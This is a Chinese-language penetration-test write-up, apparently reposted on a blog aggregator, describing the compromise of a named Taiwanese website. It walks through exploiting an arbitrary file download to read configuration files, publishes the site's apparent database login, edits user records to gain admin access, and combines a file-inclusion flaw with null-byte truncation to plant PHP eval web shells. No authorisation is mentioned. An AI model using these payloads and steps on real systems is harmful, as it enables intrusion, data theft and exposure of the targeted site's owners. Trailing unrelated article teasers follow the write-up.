基础的渗透测试

  • 信息收集
  • 漏洞挖掘
  • 获取shell
    • phpadmin
    • 文件上传与文件包含

对某一个网站的渗透

专注于web漏洞挖掘、内网渗透、免杀和代码审计,感谢各位师傅的关注!网安之路漫长,与君共勉!

alt

信息收集

简单的进行一下信息收集,goby工具走一下:

alt

目录扫描

[200][text/html][1.67kb] http://www.xxxxxx/24
[200][text/html][0b] http://www.xxxxxx/adm/
[200][text/html][0b] http://www.xxxxxx/adm/index.php
[200][application/xml][341.00b] http://www.xxxxxx/crossdomain.xml
[200][text/html][2.71kb] http://www.xxxxxx/help/
[200][text/plain][3.56kb] http://www.xxxxxx/index.bak
[200][text/html][132.00b] http://www.xxxxxx/manage/
[200][text/html][127.00b] http://www.xxxxxx/manager/
[200][text/html][8.21kb] http://www.xxxxxx/manual/index.html
[200][text/html; charset=utf-8][8.48kb] http://www.xxxxxx/phpMyAdmin/
[200][application/xml][0b] http://www.xxxxxx/rss
[200][text/html][780.00b] http://www.xxxxxx/root/
[200][text/html][21.69kb] http://www.xxxxxx/temp/

直接访问phpMyAdmin,随便输入密码,admin/admin,页面响应

#1045 - Access denied for user 'admin'@'localhost' (using password: YES)

虽然密码不对,但是允许远程连接没下来的思路就是想办法拿到账号密码,这里可以尝试爆破、获取后台数据库配置文件等等拿到密码,先放这里继续往下看。

漏洞挖掘

80端口是个web服务,访问一下大体浏览一下,有一个文件下载页面

http://www.xxxxx/include/download.php?f=

这个页面就比较奇怪,不输入任何字符直接下载了download.php文件,查看文件是乱码

➜  ~ cat /Users/apple/Downloads/download.php

 .��
    ..��
        App#$��Ndata��l�050.phphp.swp��p�.index.php.swx�
                                                        HXZfunn��

更换编码怎么都不行,后来问一下其他前辈,使用strings命令:

➜  Downloads strings /Users/apple/Downloads/download.php
home1
home10
home11
home12
home13
home2
home3

home3_test01
home4
home5
home8
home9
include
leo-pack
manage
managen
manager
managern
micah

new-function
nutrition
p_card
phpMyAdmin/config.inc.php
root
schoolmana
student
system
talk
teacher
temp
temp2
xlib
!.gif
24.php
3_8.gif
3_9.gif
Zindex.php

building.php
crossdomain.xml
data
down_class.bak
down_class.txt
index-old.php
index.bak
index.php
lurker-old.php
lurker.bak
lurker.php
rss.bak
lurker_20100818.php
phpinformation.php
rss.xml
systest.php
.index.php.swp
.index.php.swx

一堆文件,和目录。

接着尝试一下linux比较敏感的文件:

/etc/passwd
/root/.bash_history
../../../../../etc/passwd

发现在使用目录跳转的时候,页面空白。

f=../../../../../../etc/passwd

如果直接使用文件路径

f=/etc/passwd

会直接下载文件而且文件空白,随便输入文件名也会下载文件

f=qqq
f=aaa

紧接着尝试其他敏感文件,apache配置等等,本想着burp爆破一下还是算了。

接着尝试一下网站上能够显示出来的文件,直接输入文件全路径试试,可以在url中判断具体路径。

网站文件

http://www.root.org.tw/home12/9847/service.php

home12,这个东西在上文见过,就是网站根目录的一个目录,实锤了绝对路径就是home12/9847/service.php

存在漏洞文件

http://www.root.org.tw/include/download.php?f=

直接下载

http://www.root.org.tw/include/download.php?f=/home12/9847/service.php

文件中找到一些inc文件以及一个登录页面

alt

上文我们发现存在一个phpadmin目录,想一下phpadmin的常见配置文件,尝试下载,/phpMyAdmin/config.inc.php。找到了一个被注释的账号密码,尝试了一下也不太好使。

/* User for advanced features */
// $cfg['Servers'][$i]['controluser'] = 'pma';
// $cfg['Servers'][$i]['controlpass'] = 'pmapass';
/* Advanced phpMyAdmin features */
$cfg['Servers'][$i]['pmadb'] = 'phpmyadmin';
$cfg['Servers'][$i]['bookmarktable'] = 'pma_bookmark';
$cfg['Servers'][$i]['relation'] = 'pma_relation';
$cfg['Servers'][$i]['table_info'] = 'pma_table_info';

继续下载了其他几个文件,没有什么特别的利用价值,回想到之前下载的文件,里面有许多的目录名字,结合当前站的目录,会不会有其他站点?

http://www.root.org.tw/home12/
home13
home2
home3

home3_test01
home4
home5
home8
home9

fofa插件搜一搜,好多其他站点。

alt

那就从其他站点下手,简单的看了一下没什么可利用的,后来想了想最近开发学的知识,一般的MVC模式,会在index文件中,包含一个初始框架类,在框架类中自动包含数据库配置文件。

<?php
//(0)Home应用常量定义
define("DS",DIRECTORY_SEPARATOR);//斜线(/、\),根据操作系统决定
define("ROOT_PATH",getcwd().DS);//网站根目录
define("APP_PATH",ROOT_PATH."Home".DS);//应用目录、平台目录
//(1)包含核心框架类文件
require(ROOT_PATH."Frame".DS."Frame.class.php");
//(2)框架初始化
\Frame\Frame::run();
?>

Frame.class.php

 //私有的静态的初始化配置文件
 private static function initConfig()
 
{
  $GLOBALS['config'] = require_once(APP_PATH."Conf".DS."Config.php");
 }

看了看这个站,也没有用mcv思想,但是你必须要加载配置文件连接数据库,盲猜index.php是否包含数据库文件,下载之后果然发现配置文件。

include('top.inc');
include('database.inc');
$msgdir='../language';
$msgfile='index';
include('msg.inc');
include('cut.inc');

而且在开头列出来网站的大体目录结构(搞完站点之后,分析一下下载页面的逻辑结构)

alt

直接下载文件

download.php?f=/home12/database.inc

下载下来目录为空,路径错了,可是明明在index文件下直接包含,而且index文件在/home12目录下。继续找路径,在上面的图片发现include文件下有许多inc文件,database会不会也在改目录下?尝试一下

download.php?f=/home12/include.inc

最后拿到数据库账号密码

  $sqlServerIp = 'localhost';  // sql server ip
  $userName = 'arco';   // sql login name
  $passWord = 'su3cl3';   // sql login password
  $dbName = 'mdn';   // sql database name

最后直接登录phpadmin

获取shell

phpadmin

SHOW GLOBAL VARIABLES LIKE "%secure%"
alt

为空,表示对目录没有限制

select '<?php @eval($_POST[pass]);?>' into outfile '/home12/9847/shell.php';  

权限不允许

#1045 - Access denied for user 'arco'@'localhost' (using password: YES)

information.USER_PRIVILEGES表中发现该用户的权限很少。

   GRANTEE        TABLE_CATALOG    PRIVILEGE_TYPE    IS_GRANTABLE
'arco'@'localhost'  NULL             CREATE TEMPORARY      TABLES NO
'arco'@'localhost'  NULL              LOCK                 TABLES NO

既然没权限日志也不能拿shell,还是试试吧。

日志拿shell

show global variables like "%genera%";                      //查询general_log配置`
Variable_name Value
general_log OFF
general_log_file /data/mysql5/var/db.log
set global general_log='on';                                //开启general log模式
#1227 - Access denied; you need the SUPER privilege for this operation

文件上传与文件包含

phpadmin拿不到尝试后台能不能拿到shell,数据库配置文件已经拿到了,但是表太多了无法找到用户账号密码

  $sqlServerIp = 'localhost';  // sql server ip
  $userName = 'arco';   // sql login name
  $passWord = 'su3cl3';   // sql login password
  $dbName = 'mdn';   // sql database name

这里下载代码找一下slq语句执行的位置。

/home12/login/index.php?sid=9846
<FORM name=form1 action='login0.php' method=post target=tmp>

包含一下文件

/home/login/login0.php
 $dm1_sql = "select uid,type from a_users where logid='$user' and pwd='$pass'";

输入账户密码,我还自己添加了一个admin/admin,但是死活进不去,查看了数据库结构其中也个选项

status 1:帐号冻结 2:幽灵帐号

所有的账户status值都是0,该选项不会影响,直接审计一下源码吧。

 include('dm1.inc');
 $dtype = dm1('dtype'0);
 

 if ($type == 1) :
  $type = 99;
 else :
  $dm1_sql = "select type from a_belong where uid='$uid' and sid='{$sys['sid']}'";
//&  $dm1_sql = "select type from belong where uid='$uid' and sid='{$sys['sid']}'";
  include('dm1.inc');

  if ($dm1_count == 0) :
   echo "alert('帳號或密碼錯誤');\n";
   exit ($end);
  endif;
  $type = dm1('type'0);
 endif;
 if (! $dm1_data = @mysql_query($dm1_sql)) :
  exit("<script>alert(\"can not open\\n$dm1_sql\\n[$SCRIPT_NAME] " . mysql_error() . "\");</script>");
 endif;
 $dm1_count = mysql_num_rows($dm1_data);

 if (! function_exists('dm1')) :
  function dm1($x,$y){
   global $dm1_data,$dm1_count;
   if ($dm1_count == 0) :
    return '';
   else :
    return trim(mysql_result($dm1_data, $y, $x));
   endif;
  };
 endif;
?>

一开始没看出来,后来仔细一看数据库语句出现了问题

$dm1_sql = "select type from belong where uid='$uid' and sid='{$sys['sid']}'"

这里select出的是tpye,回头看数据库中的所有用户账户type都是0,直接数据库改一下为1。

alt

最后直接登录。

登录之后

funn/index.php?go=a

可以上传头像,但是只允许gif、jpg,代码审计一下

a.php

     <?
      if (isset($go)):
       $go.='.php';
       include($go);
      else:
       include('fun.php');
      endif;
     ?>
    
<form action="a0.php" method="post" name="form1" target="tmp" style="margin:1" enctype="multipart/form-data">

Ps:

这里存在文件包含漏洞,顺手测试了一下

/funn/index.php?go=/etc/passwd%00

代审的流程:

直接在funn/index.php?go=a页面搜索post(因为你提交数据肯定是post提交给某个页面然后插入数据库的),然后发现提交表单到a0.php。

在a0.php中使用include包含文件save_gif.inc对上传的文件进行处理

if ($mode == 'save_mydata') : // --a.php form1_submit()--
 include('addpost.inc');
 $resizeMode=1;
 $table = 'a_users';
 $key = 'uid';
 $id = $uid;
 include('save_gif.inc');

save_gif.inc

if ($gif != '') :

 $ti1 = strrpos($gif_name, '.');
 $ext=substr($gif_name, $ti1);
 $ext = strtolower($ext);

 if ($ext!='.jpg' && $ext !='.gif'):
  echo "alert('上傳圖片格式不符;只接受 jpg、gif 圖檔');\n";
   exit ($end);

这里只能配合解析漏洞,之前信息搜集apache版本为:2.2.3,2.0之后的Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。

但是我们这里的后缀只能是jpg、gif,apache是不可能不认识的。这里的php版本是5.3.2,php 版本<5.3.4是可以进行00截断的,并且我们这里上传路径是不可控制的。上传图片马的话apache也是不一定能解析的。

之前发现一个文件包含漏洞这里配合文件包含,上传shell讲后缀修改为.jpg,然后使用文件包含漏洞直接拿包含文件。

http://www./funn/index.php?go=/data/userpic/177.jpg

执行之后,页面没有反应

image-20201202095735183
image-20201202095735183

文件没有包含进来,结合代码因该是路径有问题,要么绝对路径要么相对路径,尝试一下相对路径:

../../../..//data/userpic/2.jpg%00
../data/userpic/2.jpg%00

最后/data/userpic/2.jpg%00尝试成功。

image-20201202095923045
image-20201202095923045

写马

<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

无法写入

尝试:

<?php fputs(fopen('../data/userpic/shell.php','w'),'<?php @eval($_POST[cmd])?>');?>

成功。也可以尝试从旁站下手,旁站扫描:

https://scan.top15.cn/web/webside

在后台处可以直接上传shell文件。

alt

右击查看文件地址:

alt
Ndata/12/m_news2/file/2302336_1.php

连接shell

最后分析了一下文件下载漏洞页面的源码,这里贴一下主要的:

<?
 include('database.inc');

 if (strstr($f , "../")) exit();

else:
 $ts1 = dirname($f); 
 $ts2 = basename($f);
 @readfile("..$ts1/$ts2");
 
endif;
?>

如果有'../',直接退出。

本文由 mdnice 多平台发布

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/449511.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【工具】Jmeter安装入门

目录 前言 安装Jmeter 1.1 下载Jmeter 1.2 解压 1.3 运行 快速入门 2.1 设置中文语言 2.2 外观(主题)设置 2.3 基本用法 前言 1W&#xff1a;什么是 Jmeter &#xff1f; Jmeter 是一个用于进行性能测试、负载测试和功能测试的开源工具。最初为 Web 应用程序设计&#…

【已解决】git无法上传大于100MB问题

问题&#xff1a; 输入命令 git config http.postBuffer 524288000 查看命令 git config -l

C语言——指针全讲

1、指针是什么&#xff1a;数据存于内存中&#xff0c;CPU如果要对数据进行处理首先就要找到相对应的数据&#xff0c;就是通过地址来找到的。就像你所在的公寓&#xff0c;你如果要找到你的房间就需要根据门牌号寻找。 在CPU和内存之间有地址线连接&#xff0c;其中在x86环境下…

Socket通信Demo(Unity客户端和C#)

Socket通信基本流程 首先要启动服务器创建Socket&#xff0c;然后要绑定服务器的一个端口这样客户端通过服务器IP端口号就能连接到服务器了服务器接下来会设置监听队列&#xff0c;监听并等待要连接到它的客户端客户端在服务器启动之后也建立自己的Socket&#xff0c;然后使用…

2 月 Web3 游戏行业动态

作者&#xff1a;stellafootprint.network 数据来源&#xff1a;区块链游戏研究页面 - Footprint Analytics 2024 年 2 月&#xff0c;区块链游戏领域在加密货币价格上涨和活跃用户激增的推动下&#xff0c;实现了显著增长。然而&#xff0c;行业在维持用户参与度和留存率方面…

鸿蒙Harmony应用开发—ArkTS声明式开发(基础手势:NavRouter)

导航组件&#xff0c;默认提供点击响应处理&#xff0c;不需要开发者自定义点击事件逻辑。 说明&#xff1a; 该组件从API Version 9开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 子组件 必须包含两个子组件&#xff0c;其中第二个子组…

搭建交换机模拟环境及SSH连接,华为NSP软件入门使用教程

搭建交换机模拟环境及SSH连接&#xff0c;华为NSP软件入门使用教程 如果你是通过搜索搜到了这篇文章&#xff0c;那么一定是工作或者学习中需要用交换机&#xff0c;但是又没物理机测试学习&#xff0c;所以需要搭建本地的虚拟环境学习。 这篇文章是我进行交换机命令入门学习写…

在 windows 下安装并调试 CMake

一、前言 CMake是一个跨平台的开源工具&#xff0c;用于管理软件项目的构建过程。它不直接构建软件&#xff0c;而是生成用于特定平台或编译器的构建文件&#xff08;如Makefile或Visual Studio项目文件&#xff09;&#xff0c;然后利用这些文件来实际构建软件。 二、初次尝…

026—pandas 根据文本数据提取特征

前言 在数据处理中&#xff0c;源数据可能具有一定便于记录但又复杂的结构&#xff0c;我们在后续使用数据时还需要进一步进行处理。在本例中&#xff0c;要根据一列数据提取出数据中的相关特征&#xff0c;我们来看看 pandas 是如何完成的。 需求&#xff1a; 以上数据的 a …

【NR 定位】3GPP NR Positioning 5G定位标准解读(七)- GNSS定位方法

前言 3GPP NR Positioning 5G定位标准&#xff1a;3GPP TS 38.305 V18 3GPP 标准网址&#xff1a;Directory Listing /ftp/ 【NR 定位】3GPP NR Positioning 5G定位标准解读&#xff08;一&#xff09;-CSDN博客 【NR 定位】3GPP NR Positioning 5G定位标准解读&#xff08;…

安全信息化管理平台——数据分析与可视化

在当今的信息化时代&#xff0c;数据分析与可视化已经成为各个领域中不可或缺的组成部分。对于企业而言&#xff0c;如何将安全信息进行整合、分析并直观地呈现出来&#xff0c;成为了一项至关重要的任务。这就催生了一种新型的管理平台——安全信息化管理平台。 数据分析&…

【恒源智享云】conda虚拟环境的操作指令

conda虚拟环境的操作指令 由于虚拟环境经常会用到&#xff0c;但是我总忘记&#xff0c;所以写个博客&#xff0c;留作自用。 在恒源智享云上&#xff0c;可以直接在终端界面输入指令&#xff0c;例如&#xff1a; 查看已经存在的虚拟环境列表 conda env list查看当前虚拟…

【C++精简版回顾】21.迭代器,实现迭代器

1.什么是迭代器&#xff1f; 用来遍历容器&#xff0c;访问容器数据。 2.迭代器使用 1.初始化 //初始化 list<int> mylist;//list的整数对象 list<int>::iterator iter;//list内部类&#xff0c;迭代器对象(正向输出) list<int>::reverse_iterator riter;//…

华为配置ISP选路实现报文按运营商转发

Web举例&#xff1a;配置ISP选路实现报文按运营商转发 介绍通过配置ISP选路实现报文按运营商转发的配置举例。 组网需求 如图1所示&#xff0c;FW作为安全网关部署在网络出口&#xff0c;企业分别从ISP1和ISP2租用一条链路。 企业希望访问Server 1的报文从ISP1链路转发&#…

把 Windows 装进 Docker 容器里

本篇文章聊聊如何在 Docker 里运行 Windows 操作系统&#xff0c; Windows in Docker Container&#xff08;WinD&#xff09;。 写在前面 我日常使用 macOS 和 Ubuntu 来学习和工作&#xff0c;但是时不时会有 Windows 使用的场景&#xff0c;不论是运行某个指定的软件&…

记录一下某外资的面试

文章目录 标题English introduction标题What did u do in this gap time标题What’S the big challenge in your work experience标题 4、介绍一个自己熟悉的项目或最近的项目&#xff0c;包括项目的背景&#xff0c;使用的技术&#xff0c;在里面的角色标题5、项目中有多少个微…

Java中 常见的开源图库介绍

阅读本文之前请参阅------Java中 图的基础知识介绍 在 Java 中&#xff0c;有几种流行的开源图库&#xff0c;它们提供了丰富的图算法和高级操作&#xff0c;可以帮助开发者更高效地处理图相关的问题。以下是几种常见的 Java 图库及其特点和区别&#xff1a; JGraphT …

Github 2024-03-11 开源项目周报 Top15

根据Github Trendings的统计,本周(2024-03-11统计)共有15个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Python项目4TypeScript项目3Jupyter Notebook项目3C#项目1HTML项目1CSS项目1Dart项目1Lua项目1Shell项目1Rust项目1Java项目1C++项目1屏幕截图转…

使用 JCommander 解析命令行参数

前言 如果你想构建一个支持命令行参数的程序&#xff0c;那么 jcommander 非常适合你&#xff0c;jcommander 是一个只有几十 kb 的 Java 命令行参数解析工具&#xff0c;可以通过注解的方式快速实现命令行参数解析。 这篇教程会通过介绍 jcommadner &#xff0c;快速的创建一…

TransNeXt实战:使用TransNeXt实现图像分类任务(一)

文章目录 摘要安装包安装timm 数据增强Cutout和MixupEMA项目结构计算mean和std生成数据集 摘要 https://arxiv.org/pdf/2311.17132.pdf TransNeXt是一种视觉骨干网络&#xff0c;它集成了聚合注意力作为令牌混合器和卷积GLU作为通道混合器。通过图像分类、目标检测和分割任务…
最新文章